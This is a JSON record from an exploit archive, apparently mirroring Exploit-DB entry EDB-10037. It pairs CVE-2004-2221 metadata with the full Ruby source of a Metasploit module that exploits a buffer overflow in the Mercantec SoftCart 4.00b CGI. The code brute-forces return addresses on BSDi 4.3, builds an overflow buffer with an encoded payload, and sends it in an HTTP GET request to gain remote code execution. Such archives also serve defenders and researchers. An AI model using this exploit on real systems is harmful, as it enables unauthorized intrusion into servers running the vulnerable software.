{"exploit":{"id":"EDB-10037","name":"Mercantec SoftCart 4.00b - CGI Overflow (Metasploit)","description":"Mercantec SoftCart 4.00b - CGI Overflow (Metasploit)","cves":["CVE-2004-2221"],"author":"skape","published":"2004-08-19","platform":"cgi","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/10037","path":"exploits/cgi/remote/10037.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-10037.rb","vulnerabilities":[{"id":"CVE-2004-2221","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in SoftCart.exe in Mercantec SoftCart 4.00b allows remote attackers to execute arbitrary code via a long parameter in an HTTP GET request.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2004-2221","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2004-2221"},"updatedAt":"2024-08-08T01:22:12.419Z","retrievedAt":"2026-11-27T10:12:05.096Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-10037.png?v=2","url":"https://exploitbin.com/exploits/EDB-10037","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-10037/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-10037/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# $Id$\n##\n\n##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\n\nrequire 'msf/core'\n\n\nclass Metasploit3 < Msf::Exploit::Remote\n\n\tinclude Msf::Exploit::Brute\n\tinclude Msf::Exploit::Remote::HttpClient\n\n\tdef initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => 'Mercantec SoftCart CGI Overflow',\n\t\t\t'Description'    => %q{\n\t\t\t\tThis is an exploit for an undisclosed buffer overflow\n\t\t\t\tin the SoftCart.exe CGI as shipped with Mercantec's shopping\n\t\t\t\tcart software.  It is possible to execute arbitrary code\n\t\t\t\tby passing a malformed CGI parameter in an HTTP GET\n\t\t\t\trequest.  This issue is known to affect SoftCart version\n\t\t\t\t4.00b.\n\t\t\t},\n\t\t\t'Author'         => [ 'skape', 'trew' ],\n\t\t\t'Version'        => '$Revision$',\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t    \t[ 'CVE', '2004-2221'],\n\t\t\t\t\t[ 'OSVDB', '9011'],\n\t\t\t\t\t[ 'BID', '10926'],\n\t\t\t\t],\n\t\t\t'Privileged'     => false,\n\t\t\t'Payload'        =>\n\t\t\t\t{\n\t\t\t\t\t'Space'    => 1000,\n\t\t\t\t\t'BadChars' => \"\\x09\\x0a\\x0b\\x0c\\x0d\\x20\\x27\\x5c\\x3c\\x3e\\x3b\\x22\\x60\\x7e\\x24\\x5e\\x2a\\x26\\x7c\\x7b\\x7d\\x28\\x29\\x3f\\x5d\\x5b\\x00\",\n\t\t\t\t\t'MinNops'  => 16,\n\t\t\t\t\t'Prepend'  => \"\\x6a\\x02\\x58\\x50\\x9a\\x00\\x00\\x00\\x00\\x07\\x00\\x85\\xd2\\x75\\x0a\\x31\\xc0\\x40\\x9a\\x00\\x00\\x00\\x00\\x07\\x00\",\n\t\t\t\t\t'PrependEncoder' => \"\\x83\\xec\\x7f\",\n\t\t\t\t},\n\t\t\t'Platform'       => 'bsdi',\n\t\t\t'Targets'        =>\n\t\t\t\t[\n\t\t\t\t\t[\n\t\t\t\t\t\t'BSDi/4.3 Bruteforce',\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'Bruteforce' =>\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t'Start' => { 'Ret' => 0xefbf3000 },\n\t\t\t\t\t\t\t\t\t'Stop'  => { 'Ret' => 0xefbffffc },\n\t\t\t\t\t\t\t\t\t'Step'  => 0\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t},\n\t\t\t\t\t],\n\t\t\t\t],\n\t\t\t'DisclosureDate' => 'Aug 19 2004',\n\t\t\t'DefaultTarget'  => 0))\n\n\t\tregister_options(\n\t\t\t[\n\t\t\t\tOptString.new('URI', [ false, \"The target CGI URI\", '/cgi-bin/SoftCart.exe' ])\n\t\t\t], self.class)\n\tend\n\n\tdef brute_exploit(address)\n\n\t\tbuffer =\n\t\t\t\"MAA+scstoreB\" +\n\t\t\trand_text_alphanumeric(512) +\n\t\t\t[address['Ret']].pack('V') +\n\t\t\t\"MSF!\" +\n\t\t\t[address['Ret'] + payload.encoded.length].pack('V') +\n\t\t\tpayload.encoded\n\n\t\tprint_status(\"Trying #{\"%.8x\" % address['Ret']}...\")\n\t\tres = send_request_raw({\n\t\t\t'uri'   => datastore['URI'],\n\t\t\t'query' => buffer\n\t\t}, 5)\n\n\t\thandler\n\tend\n\nend","sha256":"a72af99b377452c5d988e72ffa19bfa41af3886c563d77592544d92f1a646d24","bytes":2328,"fetchedAt":"2026-11-27T10:12:01.946Z","encoding":"utf-8 (display only; download retains original bytes)"}